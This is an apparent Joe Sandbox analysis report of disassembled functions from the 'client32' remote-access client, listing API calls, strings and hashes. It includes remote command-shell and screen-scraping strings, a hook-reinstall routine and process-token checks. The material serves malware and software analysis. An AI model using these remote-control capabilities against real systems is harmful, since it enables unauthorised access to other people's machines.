Part of subcall function 111347D0: GetVersion.KERNEL32(00000000,74DF0BD0,00000000), ref: 111347F3
Part of subcall function 111347D0: GetModuleHandleA.KERNEL32(ntdll.dll), ref: 11134814
Part of subcall function 111347D0: GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 11134824
Part of subcall function 111347D0: GetModuleHandleA.KERNEL32(KERNEL32.DLL), ref: 11134841
Part of subcall function 111347D0: GetProcAddress.KERNEL32(00000000,VerifyVersionInfoA), ref: 1113484D
Part of subcall function 111347D0: _memset.LIBCMT ref: 11134867

FreeLibrary.KERNEL32(00000000,?,1110421F,00000000,?,?,?), ref: 1110337F
LoadLibraryA.KERNEL32(Kernel32.dll), ref: 111033B6
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 1110343F
GetProcAddress.KERNEL32(?,ProcessIdToSessionId), ref: 111034C1
SetLastError.KERNEL32(00000078), ref: 111034E3
SetLastError.KERNEL32(00000078), ref: 111034F0
OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 11103509
OpenProcessToken.ADVAPI32(00000000,00000008,?,?,?,?,?,?,1110421F), ref: 11103570
GetTokenInformation.ADVAPI32(?,0000000C(TokenIntegrityLevel),?,00000004,?,?,?,?,?,?,1110421F), ref: 11103597
CloseHandle.KERNEL32(?,?,?,?,?,?,1110421F), ref: 111035EF

Part of subcall function 11103110: GetTickCount.KERNEL32 ref: 1110313E
Part of subcall function 11103110: EnterCriticalSection.KERNEL32(111EC5C4), ref: 11103147
Part of subcall function 11103110: GetTickCount.KERNEL32 ref: 1110314D
Part of subcall function 11103110: GetTickCount.KERNEL32 ref: 111031A0
Part of subcall function 11103110: LeaveCriticalSection.KERNEL32(111EC5C4), ref: 111031A9

Part of subcall function 110F3BB0: WaitForSingleObject.KERNEL32(?,00000000,?,?,111049C5,?,TerminateVistaUI), ref: 110F3BC1
Part of subcall function 110F3BB0: InterlockedExchange.KERNEL32(?,00000000), ref: 110F3BCD
Part of subcall function 110F3BB0: CloseHandle.KERNEL32(00000000), ref: 110F3BD8
Part of subcall function 110F3BB0: InterlockedIncrement.KERNEL32(111EC5B4), ref: 110F3C05

CloseHandle.KERNEL32(00000000), ref: 111035F6
FreeLibrary.KERNEL32(00000000,?,?,?,?,1110421F), ref: 11103646
FreeLibrary.KERNEL32(00000000,?,?,?,?,1110421F), ref: 11103651

Strings

EnumProcesses, xrefs: 11103429
ProcessIdToSessionId, xrefs: 111034BB
Kernel32.dll, xrefs: 111033B1
psapi.dll, xrefs: 11103328

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: HandleLibrary$AddressProc$CloseCountFreeTick$CriticalErrorInterlockedLastLoadModuleOpenProcessSectionToken$EnterExchangeIncrementInformationLeaveObjectSingleVersionWait_memset
String ID: EnumProcesses$Kernel32.dll$ProcessIdToSessionId$psapi.dll
API String ID: 555709589-617439319
Opcode ID: b3600c8a1196151fdc18ced844d466fa8542599c62b3b8d15a5985b8e22f9588
Instruction ID: 7102d60838122e4a6cb8a6baed9df5fda1baf24c5a04c60c3b4407c25d2de74c
Opcode Fuzzy Hash: b3600c8a1196151fdc18ced844d466fa8542599c62b3b8d15a5985b8e22f9588
Instruction Fuzzy Hash: 80A14975D0426A9FDB249F558DC5ADEFBB4BB08304F4085EEE659E3240D7705AC08F61

Function 110F5300 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 162windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1110C420: wsprintfA.USER32 ref: 1110C454
Part of subcall function 1110C420: _memset.LIBCMT ref: 1110C477

SetCursor.USER32(00000000,?,00000000), ref: 110F53CB
ShowCursor.USER32(00000000), ref: 110F53D8
OpenEventA.KERNEL32(00100000,00000000,NSLockExit), ref: 110F53E9
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,?,000000BF), ref: 110F5413
GetMessageA.USER32(00000000,00000000,00000000,00000000), ref: 110F5432
TranslateMessage.USER32(?), ref: 110F5443
DispatchMessageA.USER32(?), ref: 110F544C
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000BF), ref: 110F5460
CloseHandle.KERNEL32(?), ref: 110F5473
GetMessageA.USER32(00000000,00000000,00000000,00000000), ref: 110F548B
TranslateMessage.USER32(?), ref: 110F549E
DispatchMessageA.USER32(?), ref: 110F54A7
GetMessageA.USER32(00000000,00000000,00000000,00000000), ref: 110F54BA
ShowCursor.USER32(00000001), ref: 110F54C2
SetCursor.USER32(?), ref: 110F54CF

Strings

NSLockExit, xrefs: 110F53DE

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$Cursor$DispatchMultipleObjectsShowTranslateWait$CloseEventHandleOpen_memsetwsprintf
String ID: NSLockExit
API String ID: 2358329513-1578567420
Opcode ID: 8e6a3f007d3c7767c2c9280eeeacc41a13dd947ceb4fa7b85dbd1afa2711b587
Instruction ID: da66d542c3fb9b9b9736b56b4e9605354d9b8fdeed183c23e7030b173a746b46
Opcode Fuzzy Hash: 8e6a3f007d3c7767c2c9280eeeacc41a13dd947ceb4fa7b85dbd1afa2711b587
Instruction Fuzzy Hash: 0451AC75E0032AABDB11DFA48C81FEDF7B8EB44718F1085A5E615E7184EB71AA40CF91

Function 111577B0 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 152windowCOMMON

Download Yara Rule

APIs

GetSubMenu.USER32(00000000,?), ref: 11157805
GetMenuItemCount.USER32(?), ref: 11157817
GetMenuItemCount.USER32(?), ref: 11157821
_memset.LIBCMT ref: 11157831
GetMenuItemInfoA.USER32(?,-00000001,00000001,?), ref: 11157858
DeleteMenu.USER32(?,-00000001,00000400,?,?), ref: 11157871
GetMenuItemCount.USER32(?), ref: 11157878
_memset.LIBCMT ref: 11157889
wsprintfA.USER32 ref: 1115790B
IsWindowVisible.USER32(75BF1A30), ref: 11157921

Strings

0, xrefs: 11157844
C, xrefs: 1115789E
0, xrefs: 11157894
&%d %s, xrefs: 111578FF

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$Item$Count$_memset$DeleteInfoVisibleWindowwsprintf
String ID: &%d %s$0$0$C
API String ID: 1944744249-1709426716
Opcode ID: 77f97b495f7733a266680904539a4bd5a8708f4ad21c4815dcaf4031efbd88c4
Instruction ID: 1e8589750d2a290717ebac9bef8f5a9acc43d2f8c320684ce06ac1595057c3e6
Opcode Fuzzy Hash: 77f97b495f7733a266680904539a4bd5a8708f4ad21c4815dcaf4031efbd88c4
Instruction Fuzzy Hash: 2551D4719006299BDB91CF64CC85BEEF7B8EF45318F4080D9E919A7240EB71AA81CF91

Function 110275D0 Relevance: 28.1, APIs: 7, Strings: 9, Instructions: 139processCOMMON

Download Yara Rule

APIs

Part of subcall function 11141710: GetVersionExA.KERNEL32(111ECE98,75BF8400), ref: 11141740
Part of subcall function 11141710: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 1114177F
Part of subcall function 11141710: _memset.LIBCMT ref: 1114179D
Part of subcall function 11141710: _strncpy.LIBCMT ref: 1114186A

Part of subcall function 110B6BD0: GetModuleHandleA.KERNEL32(kernel32.dll,ProcessIdToSessionId,00000000,00000000), ref: 110B6BF6
Part of subcall function 110B6BD0: GetProcAddress.KERNEL32(00000000), ref: 110B6BFD
Part of subcall function 110B6BD0: GetCurrentProcessId.KERNEL32(00000000), ref: 110B6C13

Part of subcall function 1105D340: __wcstoi64.LIBCMT ref: 1105D37D

Part of subcall function 110EAED0: RegOpenKeyExA.KERNEL32(?,?,00000000,?,?,?,?,?,?,110EB538,?,?,00020019,DC70C1FE), ref: 110EAEEC

GetSystemMetrics.USER32(00000043), ref: 110276A4

Part of subcall function 11141240: GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 111412AD
Part of subcall function 11141240: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,?), ref: 111412EE
Part of subcall function 11141240: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 1114134B

wsprintfA.USER32 ref: 110276CB

Part of subcall function 1113F8A0: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,75BF8400,?), ref: 1113F937
Part of subcall function 1113F8A0: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 1113F957
Part of subcall function 1113F8A0: CloseHandle.KERNEL32(00000000), ref: 1113F95F

wsprintfA.USER32 ref: 110276F5
_memset.LIBCMT ref: 11027730
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00000044,?), ref: 11027785
CloseHandle.KERNEL32(?), ref: 1102779C
CloseHandle.KERNEL32(?), ref: 110277A5

Strings

screenscrape, xrefs: 11027636
"%sWINST32.EXE", xrefs: 110276EF
"%sWINSTALL.EXE", xrefs: 110276C5
/Q /Q, xrefs: 11027709
Client, xrefs: 1102763B, 11027690
Trying to reinstall gdihook5, xrefs: 11027737
D, xrefs: 1102773C
System\CurrentControlSet\Services\Gdihook5, xrefs: 1102765D
AutoInstallGdihook5, xrefs: 1102768B

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Handle$CloseCreateFile$FolderModuleOpenPathProcess_memsetwsprintf$AddressCurrentMetricsNameProcSystemVersion__wcstoi64_strncpy
String ID: /Q /Q$"%sWINST32.EXE"$"%sWINSTALL.EXE"$AutoInstallGdihook5$Client$D$System\CurrentControlSet\Services\Gdihook5$Trying to reinstall gdihook5$screenscrape
API String ID: 1724249554-531500863
Opcode ID: 6aaef0e5ddedcf15d348c0cb49900692044a3b95a90220cee4c587b42f452f78
Instruction ID: d2b55fc42617096dc1e54143e0f6b596911c59ff24b6e1298e75f3af09eb386e
Opcode Fuzzy Hash: 6aaef0e5ddedcf15d348c0cb49900692044a3b95a90220cee4c587b42f452f78
Instruction Fuzzy Hash: 4B41FA74E4062AAAEB50DBA0CC85FEDF7B8AB14708F1041D5E929B72C0EB70B544CB54

Function 11003600 Relevance: 27.2, APIs: 18, Instructions: 171COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000004), ref: 11003641

Part of subcall function 1113EB70: SetBkColor.GDI32(?,00000000), ref: 1113EB84
Part of subcall function 1113EB70: ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 1113EB99
Part of subcall function 1113EB70: SetBkColor.GDI32(?,00000000), ref: 1113EBA1

CreateSolidBrush.GDI32(00000000), ref: 11003655
GetStockObject.GDI32(00000007), ref: 11003660
SelectObject.GDI32(?,00000000), ref: 1100366B
SelectObject.GDI32(?,?), ref: 1100367C
GetSysColor.USER32(00000010), ref: 1100368C
GetSysColor.USER32(00000010), ref: 110036A3
GetSysColor.USER32(00000014), ref: 110036BA
GetSysColor.USER32(00000014), ref: 110036D1
GetSysColor.USER32(00000014), ref: 110036EE
GetSysColor.USER32(00000014), ref: 11003705
GetSysColor.USER32(00000010), ref: 1100371C
GetSysColor.USER32(00000010), ref: 11003733
InflateRect.USER32(?,000000FE,000000FE), ref: 11003750
Rectangle.GDI32(?,?,00000001,?,?), ref: 1100376A
SelectObject.GDI32(?,?), ref: 1100377E
SelectObject.GDI32(?,?), ref: 11003788
DeleteObject.GDI32(?), ref: 1100378E

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Color$Object$Select$BrushCreateDeleteInflateRectRectangleSolidStockText
String ID:
API String ID: 3698065672-0
Opcode ID: 56ef778c561154e7ee263f0b185169614b9585c0caa9249417da709c2b7b2529
Instruction ID: 957bd5f73e9a8dea8b5ac47b723ad43d79deaf2c42c8b5dd113390dc26e88d99
Opcode Fuzzy Hash: 56ef778c561154e7ee263f0b185169614b9585c0caa9249417da709c2b7b2529
Instruction Fuzzy Hash: 665150B5900309AFDB14DBA5CC85EBFF3BCEF98314F104918E612A7295D671B9448BB1

Function 11065730 Relevance: 26.5, APIs: 4, Strings: 11, Instructions: 261COMMON

Download Yara Rule

Strings

Compression Error. (s%d) NSMConnection::DoStream **** not selected ****, xrefs: 11065762
datalen + idata->recvbytes <= MAX_DEFLATE_SIZE (MAX_STREAMLEN), xrefs: 110657F7
DoStream error, been_reset=1, xrefs: 1106578A
F, xrefs: 11065959
%02x , xrefs: 11065A48
%04x: %s, xrefs: 11065A70
offset=%04x, nbytes=%04x (%d), nc=x%x, xrefs: 110659A8
..\ctl32\Connect.cpp, xrefs: 110657F2, 110658C5, 11065AB0
nclen=%d, bytesleft=%d, cmd=%d (%x), nbytes_c=%d, nbytes_uc=%d, p=%x, p0=%x, xrefs: 1106594A
Decomp, nbytes_c=%d, xrefs: 110658B1
Decompress error: %s, xrefs: 1106596D

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID:
String ID: %02x $%04x: %s$..\ctl32\Connect.cpp$Compression Error. (s%d) NSMConnection::DoStream **** not selected ****$Decomp, nbytes_c=%d$Decompress error: %s$DoStream error, been_reset=1$F$datalen + idata->recvbytes <= MAX_DEFLATE_SIZE (MAX_STREAMLEN)$nclen=%d, bytesleft=%d, cmd=%d (%x), nbytes_c=%d, nbytes_uc=%d, p=%x, p0=%x$offset=%04x, nbytes=%04x (%d), nc=x%x
API String ID: 0-4168416193
Opcode ID: f7a8c51b6d0f86f07b72f365fa186225f6b47ea591ca1aecff19d1f68f376829
Instruction ID: 6bc3b423fe9e58ad3992282e61b86e9f2554b466721a9916031d5a1a83f6629d
Opcode Fuzzy Hash: f7a8c51b6d0f86f07b72f365fa186225f6b47ea591ca1aecff19d1f68f376829
Instruction Fuzzy Hash: 6FA15D75E012299FDB24CF64CC81BEEB7B9BF49744F5040E9E949A7240E7316A80CF91

Function 11051680 Relevance: 26.5, APIs: 4, Strings: 11, Instructions: 243COMMON

Download Yara Rule

APIs

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Part of subcall function 110ADA10: _sprintf.LIBCMT ref: 110ADA76

_memset.LIBCMT ref: 110518AA
_memset.LIBCMT ref: 110518F7
_memmove.LIBCMT ref: 11051949
_free.LIBCMT ref: 1105199A

Strings

Northpoint Lockdown Preferences, xrefs: 110517EB
Northpoint, xrefs: 11051833
DoNSMProtect - Turn ON, xrefs: 11051785
Admin, xrefs: 1105181B
DoNSMProtect - CANNOT ACCESS PREFERENCES!!!, xrefs: 110519B8
DoNSMProtect - PASSWORDS DO NOT MATCH!!!, xrefs: 110519B1
pnc != NULL, xrefs: 110516EC
RUNPLUGIN2, xrefs: 11051753
idata != NULL, xrefs: 110516D1
DoNSMProtect - Turn OFF, xrefs: 110517D7
CLTCONN.CPP, xrefs: 110516CC, 110516E7

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset$ErrorExitLastMessageProcess_free_memmove_sprintfwsprintf
String ID: Admin$CLTCONN.CPP$DoNSMProtect - CANNOT ACCESS PREFERENCES!!!$DoNSMProtect - PASSWORDS DO NOT MATCH!!!$DoNSMProtect - Turn OFF$DoNSMProtect - Turn ON$Northpoint$Northpoint Lockdown Preferences$RUNPLUGIN2$idata != NULL$pnc != NULL
API String ID: 3389330382-4102942643
Opcode ID: 1290e1ed88f26d99e14cf7d89eb9482c386b278c422e765a0cff0e97430ab1d8
Instruction ID: 1bd33a8b20392b5b460f5ae28a67728c10b9c193f4645e5b1299eeee90bba5c4
Opcode Fuzzy Hash: 1290e1ed88f26d99e14cf7d89eb9482c386b278c422e765a0cff0e97430ab1d8
Instruction Fuzzy Hash: C1A1A575E012599FDB60DF64DC80BEEF7B4AF59308F0081D9E55967280EB706A48CF91

Function 11059490 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 147COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110594C3
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,74DF2EF0,74DF2EE0,74E02D70), ref: 11059504
SetHandleInformation.KERNEL32(00000000,00000001,00000001), ref: 11059516
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 11059520
SetHandleInformation.KERNEL32(00000000,00000001,00000001), ref: 1105952C
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 11059536
SetHandleInformation.KERNEL32(00000000,00000001,00000001), ref: 11059542
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 1105954C
SetHandleInformation.KERNEL32(00000000,00000001,00000001), ref: 11059558
ResetEvent.KERNEL32(00000000), ref: 11059560
wsprintfA.USER32 ref: 1105958D
CloseHandle.KERNEL32(?), ref: 11059639

Part of subcall function 1108BC20: _memset.LIBCMT ref: 1108BC89
Part of subcall function 1108BC20: GetVersionExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,110EAA59,0000070B), ref: 1108BCA2
Part of subcall function 1108BC20: GetTokenInformation.ADVAPI32(?,00000013(TokenIntegrityLevel),?,00000004,?,?,?,?,?,?,?,?,?,?,110EAA59,0000070B), ref: 1108BCD4
Part of subcall function 1108BC20: CloseHandle.KERNEL32(00000000), ref: 1108BD0C

Strings

CloseHandle_1, xrefs: 11059646
D, xrefs: 110594DD
remcmdstub.exe %u %u %u %u %%COMSPEC%%, xrefs: 11059587

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
